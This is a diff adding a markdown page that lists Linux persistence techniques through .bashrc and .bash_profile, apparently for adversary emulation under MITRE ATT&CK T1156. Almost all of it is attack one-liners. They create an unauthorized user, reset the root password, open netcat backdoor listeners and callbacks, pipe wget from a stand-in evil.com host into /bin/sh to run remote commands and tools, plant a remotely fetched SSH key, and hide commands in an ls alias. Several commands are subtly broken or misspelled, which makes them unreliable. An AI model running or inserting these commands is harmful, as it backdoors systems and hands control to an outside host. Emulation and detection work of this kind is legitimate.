Persistence .bashrc / .bash_profile

Linux/Persistence/bash_profile_and_bashrc.md

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+# .bash_profile and .bashrc
+
+MITRE ATT&CK Technique: [T1156](https://attack.mitre.org/wiki/Technique/T1156)
+
+* Adding an unauthorized user (useradd)
+  * `useradd test && echo test:testpass | chpasswd`
+* Changing the password to an existing user (noisy, passwd)
+  * `echo root:NoLogon | chpasswd` (use nologon as pass word for a tiny bit of obscurity)
+* Create a backdoor listener (netcat)
+  * `nc –nlp 8080`
+* Create a backdoor callback (netcat)
+  * `nc 192.168.0.1 8080`
+* Retrieve commands from a C2 server (wget or curl)
+  * `wget https://evil.com/more/commands.txt | /bin/sh`
+* Download additional tools and execute (wget or curl)
+  * `wget https://evil.com/bad/executeable | /bin/sh`
+* Add key to authorized_keys file (paste or get from remote server)
+  * `echo $(wget https://evil.com/bad/ssh/key.txt) >> ~/.ssh/authotized_keys`
+* Set an alias to do additional tasks
+  * `alias ls='ls –al & <any command from above>'`